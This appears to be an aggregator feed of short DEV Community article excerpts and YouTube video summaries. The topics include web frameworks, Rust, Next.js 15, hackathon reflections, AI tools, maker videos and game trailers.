    The choice between Vanilla JavaScript and ReactJS in 2025 can be very important in the constantly changing field of Frontend Development. Performance, scalability, and developer experience are all impacted by the decision, regardless of whether you're a novice learning to code, a freelancer working on client projects, or a startup growing your product. The purpose of writing this blog is to assist you choose between ReactJS and Vanilla JS for your next project in 2025 by comparing their benefits and drawbacks. Simple, native JavaScript devoid of any frameworks or libraries is referred to as "Vanilla JS." All web browsers support it, and it serves as the basis for all JS frameworks, such as React, Angular, and Vue. Lightweight and loads quickly. No dependencies or overhead needed. Perfect f…  ( 7 min )
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    Credit: @appledevcanuck from Meme Monday)  ( 4 min )
    Credit: @gallowaydeveloper
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    3D Printing Nerd: YOU can make this!!!
    Open Sauce Highlights At this year’s Open Sauce meetup, Joel Telling and the 3D Printing Nerd crew crashed a bunch of hotel rooms to show off some wild prints: Tom’s custom-designed GLaDOS bust, Ivan’s dual-wheeled “safer” One Wheel, Jay’s dot-matrix marble display jacket, and Frankly Built’s spot-on Herbie from Fantastic Four. The episode is powered by PCBWay and packed with links to merch, gear, and filament suppliers—plus all the socials if you’re itching to dive deeper into the 3D-printing rabbit hole. Watch on YouTube  ( 5 min )
    Adam Savage's Tested: This Retro Spaceship Model Has Insane Interior Detail!
    This Retro Spaceship Model Has Insane Interior Detail! Tested’s final WonderFest video features two standout builds: Steve Hilby’s retro-inspired spaceship carved from an ornament sphere, packed with jaw-dropping interior detail, and a meticulously built-up version of Randy Cooper’s classic Mars Hopper kit. If you’re into mind-blowing miniatures and space-age design, you won’t want to miss these modelmaking masterpieces. Watch on YouTube  ( 5 min )
    KEXP: Deep Sea Diver - Full Performance (Live on KEXP)
    Deep Sea Diver Live on KEXP On May 19, 2025, Deep Sea Diver hit the KEXP gathering space with a high-energy set featuring fan favorites like “Billboard Heart,” “Emergency,” and “Tiny Threads,” capped off by an intimate interview. The full performance was expertly captured by a team of six camera operators and brought to life by audio engineer Julian Martlew and mastering guru Matt Ogaz. Fronted by Jessica Dobson’s powerhouse vocals and guitar work, the band lineup includes Peter Mansen on drums, Elliot Jackson on guitar and synth, Kristyn Chapman on guitar and keys, and Michael Dondero on bass. Host Cheryl Waters keeps things flowing as editor Scott Holpainen stitches it all together for one memorable live session. Watch on YouTube  ( 5 min )
    Rick Shiels Golf: TEAM UK vs TEAM USA for $250,000 | The Duels: UK Edition
    The Duels: UK Edition lands at the stunning JCB Golf & Country Club, pitting Team UK (captains Ian Poulter & Rick Shiels, plus Lee Westwood, Tyrrell Hatton, Jimmy Bullard & Seb on Golf) against Team USA (captains Bubba Watson & Luke Kwon, plus Talor Gooch, Micah Morris, Kevin Na & Evan Thompson) in a 9-hole, winner-takes-all showdown for $250,000. This fourth installment of the YouTube golf series brings six pros and six top creators head-to-head with insane shots, momentum swings and pressure-packed moments. After epic battles on Grant Horvat’s, Bryan Brothers’ and Bryson DeChambeau’s channels, will Team UK defend home turf or will Team USA snatch the prize back across the pond? Watch on YouTube  ( 5 min )
    IGN: Haikyu!! Fly High! - Official Launch Trailer
    Haikyu!! Fly High! has just launched on iOS and Android, offering a mobile sports card game that blends real-time tactics with cinematic 3D volleyball action. Assemble your Dream Team featuring fan favorites like Shoyo Hinata and Tobio Kageyama, then hit the court to dominate matches. Relive the anime’s story with the original Japanese cast—Ayumu Murase as Hinata and Kaito Ishikawa as Kageyama—and get a head start with an exclusive English-dubbed tutorial voiced by Kiyoko Shimizu’s English VA. Check out the official launch trailer to see the game in action! Watch on YouTube  ( 5 min )
    IGN: The Midnight Walkers: Official Gameplay Explainer
    The Midnight Walkers: Official Gameplay Explainer Developer “Crossbow” from Oneway Ticket Studio takes you through a tense five-minute slice of their upcoming zombie-riddled, first-person PvPvE extraction horror shooter. Expect nail-biting scavenges, player vs. player face-offs, and hordes of the undead to keep you twitching at every corner. If you’re itching to dive in (and live to tell the tale), head over to Steam and hit that wishlist button! https://store.steampowered.com/app/2795540/The_Midnight_Walkers/1999 #TheMidnightWalkers #Gaming #IGN Watch on YouTube  ( 5 min )
    IGN: Eenie Meanie - Official Trailer (2025) Samara Weaving, Karl Glusman, Randall Park
    Eenie Meanie puts Samara Weaving in the driver’s seat as Edie (aka “Eenie Meanie”), a one-time teenage getaway whiz who’s forcibly pulled back into her shady past when a previous boss ropes her into one last high-stakes job: saving her flaky ex-boyfriend’s life. Along for the ride are Karl Glusman, Jermaine Fowler, Marshawn Lynch, Randall Park, Steve Zahn and Andy Garcia, guaranteeing a wild, star-studded thrill-ride. Written and directed by Shawn Simmons (with Rhett Reese, Paul Wernick and Marty Ewing producing), the film burns rubber straight to your screen on August 22, 2025—streaming exclusively on Hulu in the U.S. and Disney+ internationally. Watch on YouTube  ( 5 min )
    IGN: Yakuza 0 Director's Cut - Official Accolade Trailer
    Yakuza 0 Director’s Cut just dropped an accolade trailer showcasing all the praise pouring in for Kazuma Kiryu and Goro Majima’s action-packed adventure. Expect upgraded combat, extra side stories and all the neon-soaked drama of late-’80s Kamurocho. It’s available now on Nintendo Switch 2—so dust off your controller, crank up the heat, and dive back into one of the best entries in the Yakuza series. Watch on YouTube  ( 5 min )
    IGN: Battlefield 6 Feels Like a Safe, Explosive Return to the Shooter's Past - Hands-On Preview
    Battlefield 6 Preview: A Nostalgic Boom Battlefield 6 leans into the series’ heyday by reviving the classic four‐class setup—Assault, Support, Engineer, and Recon—and leaning hard on massive 64-player Conquest battles. Although it doesn’t reinvent the wheel, it strikes a satisfying balance between tried-and-true mechanics and modern polish, delivering the same explosive, large-scale carnage fans remember with a fresh coat of paint. Watch on YouTube  ( 5 min )
    IGN: Battlefield 6 - Official 'The World of Battlefield 6' Overview Trailer
    Battlefield 6’s official “The World of Battlefield 6” trailer drops you into a fever-pit 2027 where Europe’s fractured, NATO’s splintered, and US forces plus allies are scrambling to hold the line against the ruthless private army PAX Armada. Expect next-gen FPS mayhem from DICE, EA, and Battlefield Studios, complete with sprawling maps, badass vehicles, and non-stop chaos. Lock in October 10 for launch day—this is shaping up to be the most intense, cinematic warzone yet. Watch on YouTube  ( 5 min )
    Remote Pricing Explained: How Much Does Remote Cost?
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    In-Depth Comparison: Workflow Control with LangGraph and CrewAI
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    INSTALLATION OF POSTGRESQL AND INTIAL SET UP ON A LINUX SERVER.
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    Day 1 ~ Learning DevOps In Public
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    The Midnight Community Board: Building *With* the Community, Not Just For It
    I believe a healthy ecosystem isn’t built for a community. It’s built with them. That’s why the DevRel team at Midnight is thrilled to debut the Community Board, a new GitHub-based hub designed to make collaboration more transparent, inclusive, and efficient. Just this week, a longtime partner and contributor shared feedback that struck a chord: “The real frustration hasn’t been the number of channels. It’s not knowing what happens to our ideas or feedback once they’re shared. Without transparency into follow-up, it feels like issues just disappear.” The Community Board is our solution to that exact problem. It gives developers, partners, and community members visibility into what’s happening with their feedback. And more importantly, a seat at the table to help shape priorities and the op…  ( 6 min )
    How I Built an AI Agent That Turns Daily AI News Into a Commute-Sized Podcast
    The AI landscape moves at breakneck speed. New models, research papers, funding announcements, and product launches happen daily. As someone working in AI, staying current isn't just helpful—it's essential. But when you're heads-down building features and shipping products, it's tough to find the time to stay on top of all the latest developments. That's exactly the challenge we faced at Portia AI. The solution? An AI agent that helps us make the most of the 5-minute stroll our team makes each afternoon to Kings Cross on their way home. I’m sure Harry would have spent his commute back from Kings cross listening to our AI podcast too... Working in AI means being subscribed to information from multiple sources. The traditional approach of manually checking news sites, Reddit, Twitter, an…  ( 6 min )
    🍃 MongoDB in 2025: Beyond the NoSQL Hype
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    First Submission Fuels Growth
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. What's Next for Me and My Project Reflect on What I Learned I’d welcome your insights or suggestions in the comments!  ( 5 min )
    Hello DEV Community! Excited to Start My Journey
    Hello everyone! 👋 I'm thrilled to join the DEV Community and connect with fellow developers and tech enthusiasts. My interests include technology, programming, and lifelong learning, covering topics from HTML, CSS, and JavaScript to Python, databases, and emerging technologies like AI and cloud computing. I believe in learning through hands-on experience and plan to document my journey, share projects, discuss challenges, and reflect on my lessons learned. Whether you're a beginner or an experienced developer, I look forward to exchanging ideas, receiving feedback, and collaborating on exciting projects. 💡 Let's code, learn, and grow together! If you're working on an interesting project or have tips for newcomers, I'd love to hear from you in the comments. Thanks for the warm welcome, and I can't wait for our discussions! 🙌  ( 5 min )
    Vexo ~ E-Commercial platform: After the Hack - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. Vexo ~ E-Commercial platform - Vexo – Elevate Your Everyday. Team Members: Chahat Gautam Project URL: https://devpost.com/software/vexo-e-commercial-platform The World's Largest Hackathon may have concluded, but for Vexo ~ E-Commercial platform, it was just the beginning of an exciting journey that has reshaped our trajectory as a developer and innovators. What started as a hackathon submission has evolved into something much more significant. Vexo ~ E-Commercial platform has grown from a proof-of-concept to a potential market solution. Current Status: Enhanced feature set based on initial feedback Improved user interface and experience Scalability improvements for broader adoption Integration of add…  ( 7 min )
    Disastra: Beyond the Code - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. Disastra - AI-powered Disaster Alert System for Real-time Risk Detection and Early Warnings. Next-Gen Disaster Intelligence for a Safer Tomorrow. Team Members: Brijesh Yadav, The EMon Project URL: https://devpost.com/software/disastra While Disastra represents our technical achievement, the true magic of the World's Largest Hackathon happened in the connections, collaborations, and community moments that shaped our journey. Building Disastra wasn't just about writing code—it was about forging relationships and learning to work as a cohesive unit under pressure. Our team of 2 came together through the hackathon's networking channels. Despite our diverse backgrounds, we found common ground in our pass…  ( 6 min )
    MedicaAI: AI-Powered Smart Health Diagnosis & Automation.: After the Hack - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. MedicaAI: AI-Powered Smart Health Diagnosis & Automation. - MedicaAI is an AI hospital assistant for smart diagnosis, booking, IPD, pharmacy & emergency. Paperless, fast, and 95% accurate—healthcare, automated. Welcome to the future. Team Members: Sumit Rajapure Project URL: https://devpost.com/software/medicaai-ai-powered-smart-health-diagnosis-automation The World's Largest Hackathon may have concluded, but for MedicaAI: AI-Powered Smart Health Diagnosis & Automation., it was just the beginning of an exciting journey that has reshaped our trajectory as a developer and innovators. What started as a hackathon submission has evolved into something much more significant. MedicaAI: AI-Powered Smart Heal…  ( 7 min )
    ✈️ Build & Deploy Full Stack AI Trip Planner NextJs App Using React, Typescript, Convex
    Watch Complete Project Tutorial Here: https://youtu.be/sXRDL-EPtrM In this tutorial, we’ll build a Full Stack AI Trip Planner Web App from scratch using Next.js, React, TypeScript, Arcjet, Convex, Clerk for authentication, Mapbox for interactive maps, and Google Places API for location data. 🚀 Learn how to integrate AI-powered trip planning, add real-time maps, manage user authentication, optimize performance with Arcjet, and deploy your app seamlessly. 🌟 💻 Live Demo: https://ai-trip-planner-web-app.vercel.app/ 🔹 What you’ll learn: 🎯 Perfect for: Developers who want to learn Full Stack SaaS Development with AI-powered features and deploy professional-grade web apps. 🔥 Watch now and build your own AI Travel Planner! ⁠nextjs #ReactJS #AITripPlanner #GoogleAPI #Mapbox #Convex ⁠clerk #FullStackDevelopment #SaaSApp #Arcjet  ( 5 min )
    Celebrate!: Building with Bolt - WLH Challenge
    This is a submission for the World's Largest Hackathon Writing Challenge: Building with Bolt. Celebrate! - Plan your entire event like online shopping — add venues, catering, and teams to your cart and check out to host anything from a party to a wedding, all in one app Team Members: Dhakshesh Sivakesh, Hamid Shaik Project URL: https://devpost.com/software/celebrate Our experience building Celebrate! during the World's Largest Hackathon was transformative, particularly with Bolt.new as our development companion. The project leveraged modern web technologies and AI-powered development tools. Bolt.new revolutionized our development process by: Rapid Prototyping: Bolt enabled us to quickly translate our ideas into functional code AI-Assisted Development: The intelligent code suggestions acce…  ( 6 min )
    The Compliance Crisis: Why Your Enterprise Meeting Data is a Ticking Time Bomb
    The Hidden Cost of Modern Meeting Culture In boardrooms across the globe, executives are making million-dollar decisions while unknowingly creating compliance nightmares. Every strategy session, M&A discussion, and financial planning meeting recorded through cloud-based AI tools is generating a trail of sensitive data that could cost your organization everything. The numbers don't lie: the average cost of a data breach hit $4.4 million in 2024 according to IBM's Cost of Data Breach Report. Adding to the crisis, Zscaler's 2024 research reveals over 400 unlawful recording cases have been filed in California alone this year, highlighting the legal minefield enterprises navigate with cloud-based meeting AI. But for enterprises dealing with highly regulated data, the real cost extends far beyo…  ( 9 min )
    Gemini Deep Think: The Future of AI Reasoning Systems
    The landscape of artificial intelligence is evolving rapidly, with multi-agent AI systems at the forefront of these advancements. One of the latest developments in this field is the Gemini Deep Think AI, a pioneering model from Google that exemplifies the capabilities of reasoning within AI. Unlike conventional AI systems that operate on linear processing, the Gemini Deep Think model employs a multi-agent framework, allowing it to test multiple ideas in parallel. This innovative approach not only enhances the depth and quality of reasoning but also supports complex problem-solving tasks across various domains. As AI continues to integrate into our everyday lives, the significance of models like Gemini Deep Think becomes increasingly apparent, showcasing the potential to revolutionize how w…  ( 13 min )
    Day 40/100: Python math, random, and statistics Modules
    Welcome to Day 40 of your Python journey! mathematics, randomness, and data analysis: math – advanced mathematical operations random – generating random numbers and selections statistics – quick stats for numerical data These are essential for everything from games and simulations to analytics and scientific computing. math Module Import it first: import math print(math.sqrt(16)) # 4.0 print(math.factorial(5)) # 120 print(math.pow(2, 3)) # 8.0 print(math.ceil(4.3)) # 5 print(math.floor(4.7)) # 4 print(math.pi) # 3.141592653589793 print(math.e) # 2.718281828459045 print(math.sin(math.radians(30))) # 0.5 print(math.cos(math.radians(60))) # 0.5 print(math.tan(math.radians(45))) # 1.0 random Module For generating random numbers and making selections: imp…  ( 8 min )
    Pied Piper a AI Dorker v3.0 - Advanced OSINT Tool for AI Service Security Research
    🎯 Pied Piper a AI Dorker v3.0 - Advanced OSINT Tool for AI Service Security Research A precision-focused OSINT tool designed for ethical security research of AI conversational platforms. This tool helps security researchers identify potential data exposures in popular AI chat services through advanced search techniques and intelligent content analysis. IMPORTANT DISCLAIMER This tool is developed for educational and ethical security research purposes only. Users must: ✅ Comply with all applicable laws and regulations ✅ Obtain proper authorization before testing ✅ Follow responsible disclosure practices ✅ Respect platform terms of service ❌ Never access unauthorized data ❌ Never cause harm to systems or users Research Background Modern AI conversational platforms often generate sharea…  ( 9 min )
    Building Your First Ruby on Rails App: The Beginner’s Blueprint
    So, you’ve decided to dive into Ruby on Rails application development and actually build something? Great choice. Whether you're building for the web or building mobile apps with Ruby on Rails, Rails is designed to get your ideas off the ground fast, even if you’re not a coding veteran. But the catch is that building web apps with ruby on Rails can feel overwhelming if you try to do everything at once from authentication, and a shiny UI to full-blown testing. This is where the “build a skeleton first” mindset saves your sanity. Instead of rushing into a polished, production-ready product, you focus on getting a simple, functional backbone up and running. Once you have that, layering on features, polish, and tests becomes way less intimidating. Let’s break down the steps for building w…  ( 8 min )
    The Hacksmith: The Power Armor Legs Are Complete! ⚡| Real Life Power Armor (Part 7/6)
    The Hacksmith finally completes the real-life power armor legs, picking up from fixing the upper body and laying out a detailed build plan. You’ll see them 3D-print custom textures, experiment with jet-fighter-style “pants,” sculpt out the feet, armor up and then head out for that first epic test run. Along the way they shout out all their favorite gear—from the Eufymake E1 UV printer to CNC routers and metal 3D printers—drop handy chapter timestamps, and remind you which tools and sponsors keep the madness possible. Watch on YouTube  ( 5 min )
    Laura Kampf: What can you make with an old traffic light? Janitor of LA
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    Alec Steele: More Forging Barrels Like It's 1718
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    Alec Steele: I Turned a Picture of My Dog into Damascus Steel
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    3D Printing Nerd: HOW to 3D PRINT a HAT!
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    I Like To Make Stuff: What Can I Make With 3D Printing & Pool Noodles?!
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    Smart Pointers in Rust: A Love Story Between You and Memory Safety 💘
    Ah, Rust. The language that forces you to deal with memory like an overprotective parent hovering over a toddler near a swimming pool. think about your memory. But don't worry, you don't have to memorize The Book (although you probably should). This blog post is your (mostly funny, definitely useful) guide to all the Smart Pointers in Rust: what they do, when to use them, when NOT to use them, and how to make your code so safe even your mom could run it without crashing your kernel. Also, if you're vibing with the low-level magic and want to prove your mettle with projects like this, check out my Codecrafters profile here. Is a Smart Pointer? A smart pointer is like a regular pointer... but with a college degree. It knows how to do more than just point — it owns stuff, manages memory, ma…  ( 8 min )
    Masa Depan Manusia & AI: Bukan Sci-Fi, tapi Realita Keren! ✨
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    What I learned from the AI Showdown❤️
    On Saturday, 14-15 June, Loveable hosted the AI Showdown: a public comparison of the world's leading code-generating AI models. OpenAI, Anthropic, and Google partnered with Loveable to host the AI Showdown over a weekend. While working on a project for Bolt, utilising Claude Sonnet, I struggled to troubleshoot errors because it would bundle most of the application code into a single file. This made it difficult to maintain or follow. A large JavaScript bundle forces the user's browser to download and parse all the application's code upfront. This leads to: Slower Initial Load Times: The user sees a blank screen or a loading spinner for longer, impacting perceived performance. Increased Bandwidth Usage: Unnecessary code is downloaded, which can be a particular issue for users on slower networks or with data caps. Higher Memory Consumption: More code means more memory used by the browser, potentially affecting less powerful devices. I decided to use the Showdown to test the three models. I would switch to Gemini to refactor the code into smaller files, which helped improve maintainability. GPT could do the same, refactoring without compromising functionality. Code splitting breaks the application's JavaScript into smaller "chunks" that can be loaded on demand. React.lazy and React.Suspense provide a convenient way to implement this in React: React.lazy(): This allows you to render a dynamic import as a regular component. Instead of importing a component directly at the top of your file, you can "lazy-load" it, meaning its code chunk will only be fetched when the component is actually rendered. React.Suspense: This works in conjunction with React.lazy. It lets you specify a "fallback" UI (e.g., a loading spinner, skeleton screen, or simple text like "Loading...") to display while the lazy-loaded component's code is being fetched and prepared. Experimenting with different models helped me find a solution that dramatically improved the user experience by providing immediate feedback and preventing a blank page.  ( 5 min )
    Building a Poetry App with Google AI Studio: The Making of VerseForge
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    🤯 Komputer Kuantum: Masa Depan Komputasi Udah Dekat! 🚀
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    Unit Testing in Zephyr RTOS Projects with Ceedling: A Developer’s Guide
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    🧑‍💻 What's New in Visual Studio Code (2025 Edition) & How to Use It
    VS Code continues to dominate as the most popular lightweight editor for developers — and the 2025 release introduces powerful updates that can seriously boost your productivity, workflow, and development experience. In this blog, we’ll explore the top new features in VS Code (2025) and how you can make the most of them with a clear and enhanced user interface. No extension needed — VS Code 2025 now comes with a native AI assistant powered by Copilot and VS IntelliCode. 🔍 Key Features: 🧠 Inline code suggestions while typing 🗣️ Natural language to code commands (e.g. "create a login form") 🛠️ Code explanations and refactoring tips ✅ How to use it: 1. Open Command Palette → "Enable AI Coding Assistant" 2. Use inline comments like `// generate a form` to get code suggestions VS Code now …  ( 7 min )
    Thinking SEO from the Mockup Stage: An Underestimated Power Move
    Designing a website isn’t just about esthetics, it’s a strategic act. Incorporation SEO at the mockup phase unlocks powerful advantages that many overlook. When layout, hierarchy, and content zones are mapped with search visibility in mind, the result is a site that’s both beautiful and discoverable. Starting early means crafting headings that signal intent, placing CTAs where crawlers, users linger, and building structures that load fast and rank higher. SEO-friendly mockups cut retrofitting costs and align designers, developers, and marketers from day one. Be proactive. A mockup that “thinks SEO” sets the tone for long-term growth, visibility, and user satisfaction.  ( 5 min )
    Mastering Flexbox in CSS: The Easiest Way to Build Responsive Layouts
    Are your elements refusing to align the way you want? It’s time to discover Flexbox, one of the most beginner-friendly tools in CSS for responsive layouts. In this guide, you’ll learn how Flexbox makes layout easy by giving you full control over: ✅ Horizontal and vertical alignment 💡 What You’ll Learn display: flex; and what it really means justify-content vs align-items explained clearly Understanding flex-direction Examples of each explanation Centering a items Quick Example: .container { display: flex; justify-content: center; align-items: center; } This simple code centers content both horizontally and vertically without media query. 👉 Read the full tutorial here: Learn CSS for Beginners #9: Flexible Box Layout in CSS — Easy and Powerful Responsive Layout  ( 5 min )
    20 Predictions About Software Engineering by 2030
    The software engineering landscape is evolving at breakneck speed. As we hurtle toward 2030, emerging technologies and shifting paradigms are reshaping how we build, deploy, and maintain software. Here are 20 bold predictions for what software engineering will look like in just five years. AI-Powered Development 1. AI will write 60% of boilerplate code. Developers will focus on architecture and business logic while AI handles repetitive tasks, database schemas, and API endpoints. 2. Code reviews will be AI-first. Human reviewers will only examine code that AI flags as complex or potentially problematic, dramatically speeding up the development cycle. 3. Natural language programming will go mainstream. Engineers will describe features in plain English, and AI will generate production-ready …  ( 6 min )
    🤖 Web Development in the Era of AI: 2025 and Beyond
    The web has always evolved with technology — but with the rise of Artificial Intelligence, we’re witnessing a revolution that’s transforming how websites are built, optimized, and interacted with. 💡 Spoiler Alert: AI won't take your job — but the developers who understand and use AI might. The key is to embrace it, not fear it. Whether you're a beginner or a seasoned developer, understanding how AI is reshaping web development is crucial to stay competitive in 2025 and beyond. AI is not here to replace developers. It's here to assist, accelerate, and amplify our creativity. Like any powerful tool, it’s about how we use it. 🔹 AI can’t: Design your unique user experience Understand your users better than you Replace your empathy and critical thinking ✅ But it can: Code faster Automate repe…  ( 6 min )
    `enum` vs `const`: Which One Should You Actually Use?
    Meet Tchaaca. She's a junior frontend developer working on her first big React + TypeScript project. One day, while trying to define a list of user roles, she stumbles upon two ways to do it: // Option 1: Using an enum enum Role { Admin = "admin", Editor = "editor", Viewer = "viewer" } // Option 2: Using a const object const ROLE = { Admin: "admin", Editor: "editor", Viewer: "viewer" } as const; They both work. They both look readable. But… which one is better? When should she use enum, and when is a constobject the smarter choice? Let's help Tchaaca out - and maybe help you too if you're facing the same dilemma. enum - The TypeScript Way enumis a special feature provided by TypeScript to define a set of named constants. It's especially powerful when you need auto-completio…  ( 7 min )
    Lazy Loading in React — Load Only What You Need, When You Need It 🚀
    Lazy loading helps you optimize performance by loading components only when they’re needed, not upfront. It's perfect for large apps where not everything should be loaded at once. 🧠 Why use lazy loading? 📦 React provides React.lazy() and Suspense for lazy loading components. 🔧 Example: import React, { Suspense } from "react"; const LazyAbout = React.lazy(() => import("./About")); function App() { 📌 Key points: Lazy loading helps deliver faster, more efficient React apps without sacrificing features.  ( 5 min )
    5 Killer FREE Markdown Editors You Need in 2025
    Hey Devs! Let's be real, clear and concise documentation is the backbone of any successful project. And when it comes to writing that beautiful Markdown, having the right editor can make all the difference between a smooth flow and a frustrating tag-wrangling session. So, as we cruise into 2025, I've rounded up five absolutely fantastic free Markdown editors that are seriously upping the game. Whether you're a seasoned Markdown veteran or just starting out, there's something here for everyone. Here's the lowdown on my top picks: Typora https://typora.io/ (Available for macOS, Windows, Linux): Typora has been a long-standing favorite for its truly distraction-free, what-you-see-is-what-you-get (WYSIWYG) approach. It's clean, elegant, and makes writing Markdown feel incredibly intuitive. V…  ( 6 min )
    JavaScript Weekly #25 – What Devs Loved This Week (Aug 01, 2025)
    Welcome to Issue #25 of the JavaScript Weekly Roundup — your go-to source for what’s new, useful, and exciting in the JavaScript world. Mistral has introduced its response to GitHub Copilot: a comprehensive enterprise development ecosystem powered by its Codestral model family. At the core is Codestral 25.08, an updated model fine-tuned for real-world software environments. Codestral 25.08 delivers measurable gains based on real codebase benchmarks: ✅ 30% more accepted completions 📈 10% more preserved code after applying suggestions ❌ 50% fewer overly long or incorrect generations These enhancements aim to streamline development and reduce common friction points in AI-assisted coding—especially in enterprise-scale projects. Codestral isn’t just a model update—it’s Mistral’s strategic…  ( 8 min )
    Stop Overengineering. Start Shipping Faster.
    “I’ve been working on this side project for months...” “Still deciding which stack to use…” “Once I finish authentication, I’ll start the real work.” Sound familiar? If you’re a developer who starts a lot but finishes little, it’s likely you’re not struggling with motivation or skills. overengineering. This article is your wake-up call. Let’s break the cycle—and get you launching faster. Dev culture celebrates complexity. “I built it with microservices and GraphQL federation.” “It’s running on a Kubernetes cluster with autoscaling.” “My CI/CD pipeline has 8 steps of static checks.” But here’s the question: Is anyone using it? If not, all that complexity is just noise. It starts innocently: You pick a modern stack: Next.js, Prisma, tRPC, Tailwind You want the perfect folder structure You st…  ( 6 min )
    I Quit Tutorials. Built a Startup Instead.
    The dev world is drowning in tutorials. At some point, I realized I was watching more content than I was creating. zero projects to show for it. So I quit. And gave myself one goal: Build something real. Ship it. Earn $1 online. I had 18 courses bookmarked. “Mastering TypeScript” “Fullstack with React + Node” “Learn SaaS in 30 Days” “How to Build an AI Tool with OpenAI” All half-finished. All promising the world. And not a single GitHub repo of mine had an actual product with: ✅ A working payment system ✅ Users ✅ Real traffic ✅ A way to make even a dollar That’s when I knew: I was addicted to consumption. And allergic to shipping. I set one simple rule for myself: Build something useful — and get at least one person to pay $1 for it. That’s it. No design obsession. To force myself to mo…  ( 7 min )
    🔥 The 2026 Developer’s Shortcut: Build Tools, Not Resume Lines
    Every year, I see the same cycle: Developers spend months polishing resumes Add more buzzwords to keep up with job posts Take expensive courses for the “next big skill” And every year, the same truth becomes more obvious: In 2026, companies hire (and pay) people who build tools, not people who just look busy. Let’s be real. “Skilled in Next.js, TypeScript, Docker” is… common. Every developer has it. And recruiters? What stands out instead? A working SaaS app A live API A tool with paying users That’s not a resume line — that’s proof. Here’s why tools > resumes in 2026: Immediate Proof of Skill You Attract Opportunities Instead of Chasing Them You Create Optional Income Streams It’s Faster than the Resume Grind ⚡ The 2026 Tech Stack for Building Tools Fast To launch …  ( 6 min )
    Leveling Up My Task Automation API: Models, Routes, and Scheduling
    Hey DEV community, I’m excited to share some fresh updates I pushed to my Task Automation API in this commit. This one’s all about getting the task model, routes, and scheduling logic in shape, setting the stage for a solid task management system. If you liked my HTTP status codes post, you’ll dig this dive into building a practical API. Let’s break it down. This commit (114bbb8) lays down the foundation for managing tasks. Here’s the quick rundown: Task Model: Upgraded it with clean, reliable fields. Routes: Added endpoints to schedule, list, and cancel tasks. Scheduling Logic: Got tasks saving to the database smoothly. Task Types: Set up support for reminders and file cleanup. Validation: Used Pydantic to keep scheduling times on point. Let’s take a closer look at what’s cooking. app/mod…  ( 7 min )
    Low-Code & No-Code Trends in ERP API Integration
    Today's digital world demands speedy updates and system integrations from businesses; therefore, no business wants to wait months for system upgrades and system integrations. Low-code/no-code solutions have revolutionized how companies handle ERP API integration, making ERP systems more accessible, customizable, and easier to connect than ever before. These tools make ERP systems accessible, customizable, and easier than ever to connect. The business landscape has become increasingly dynamic. Companies now expect their systems to adapt quickly — whether it's connecting to a new e-commerce platform, syncing inventory across locations, or pulling financial data in real-time. Traditional ERP integration methods often take too long and require deep coding knowledge. Low-code and no-code tool…  ( 8 min )
    What’s New in Next.js 15? \[2025 Release Guide]
    Next.js 15 is here — and it’s packed with evolutionary upgrades that continue to push the boundaries of full-stack React development. From performance to ergonomics, Vercel’s latest release makes building scalable, fast, and modern apps easier than ever. Server Actions are now stable in Next.js 15, enabling developers to handle server-side logic (like form submissions or database updates) without writing API routes. 'use server' export async function createPost(formData) { await db.post.create({ data: formData }) } ✅ No need for /api/... useFormAction() and Next.js 15 now uses Turbopack as the default dev server, replacing Webpack for faster performance. 🚀 Benefits: Up to 10x faster local development Instant hot reloads Better performance on large apps You no longer need --turb…  ( 6 min )
    What’s New in Next.js 15? \[2025 Release Guide]
    Next.js 15 is here — and it’s packed with evolutionary upgrades that continue to push the boundaries of full-stack React development. From performance to ergonomics, Vercel’s latest release makes building scalable, fast, and modern apps easier than ever. Server Actions are now stable in Next.js 15, enabling developers to handle server-side logic (like form submissions or database updates) without writing API routes. 'use server' export async function createPost(formData) { await db.post.create({ data: formData }) } ✅ No need for /api/... useFormAction() and Next.js 15 now uses Turbopack as the default dev server, replacing Webpack for faster performance. 🚀 Benefits: Up to 10x faster local development Instant hot reloads Better performance on large apps You no longer need --turb…  ( 6 min )
    Why Young Coders Must Adopt to Green Coding
    You know that declining feeling when you just randomly check an electricity bill and that's way to higher than you expected? That's exactly what happened with me. I was just randomly doing my code review and suddenly saw a bill kept beside my desk. BAM! The energy costs went through roof. Turns out, their data tool was running crappy code millions of times in a single day. But then I even fixed it with the help of a few smart green coding tricks and the bill generated after 2 months was cut down by 15%! Let's understand in detail, how I pulled this off. Green coding is nothing but writing code which is kind to the planet. When developers build applications, they can make make certain choices that can help their code runs efficiently and use less energy. With the help of smarter algorithm…  ( 6 min )
    How to Kickstart Your Data Career Without Leaving Home
    I started learning data science from my bedroom during the pandemic with a laptop that could barely handle Chrome and Zoom at the same time. No computer science degree. No connections in tech. No fancy standing desk or dual-monitor setup. Just me, Google, and a lot of self-doubt. If you're in the same spot, interested in data but stuck at home, maybe juggling a job or school, unsure where to begin, then I’ve got you. This isn’t a guide to land a six-figure ML role at Meta. It’s for people who want to actually get started and not feel like they’re constantly behind or “not technical enough.” Start with the Basics, but Don’t Get Stuck There You don’t need to master calculus or machine learning to start a data career. The basics, such as Python, statistics, spreadsheets, and SQL, will take …  ( 8 min )
    KEXP: Deep Sea Diver - Emergency (Live on KEXP)
    Deep Sea Diver rocked KEXP’s studio on May 19, 2025, with a live take on “Emergency.” Jessica Dobson led on vocals and guitar, backed by Peter Mansen on drums, Elliot Jackson on guitar and synth, Kristyn Chapman on guitar and keys, and Michael Dondero on bass. Cheryl Waters hosted while Julian Martlew handled audio engineering and Matt Ogaz took care of mastering. A six-camera crew (Jim Beckmann, Carlos Cruz, Leah Franks, Luke Knecht, Kendall Rock and Ettie Wahl) captured the session, and Scott Holpainen nailed the edit. Stream the full performance at kexp.org, visit thisisdeepseadiver.com for more, or join their YouTube channel for exclusive perks! Watch on YouTube  ( 5 min )
    Which AI Reigns? GPT‑4, Claude, LLaMA, Perplexity & AI Studio
    Artificial Intelligence is rapidly reshaping how we interact with technology, with language models leading the way in transforming communication, business automation, and problem-solving. As AI continues to advance in 2025, the landscape of top AI models becomes increasingly competitive. Today, we dive into the strengths and nuances of five of the most prominent AI language models: GPT‑4, Claude, LLaMA, Perplexity, and AI Studio. This article offers an in-depth comparison, helping businesses, developers, and AI enthusiasts decide which model truly reigns supreme. Before comparing their capabilities, understanding where these AI models come from and their unique philosophies is crucial. GPT‑4, developed by OpenAI, is widely regarded as the flagship of general-purpose AI language models. It…  ( 8 min )
    What Is a Foreign Key Constraint in SQL?
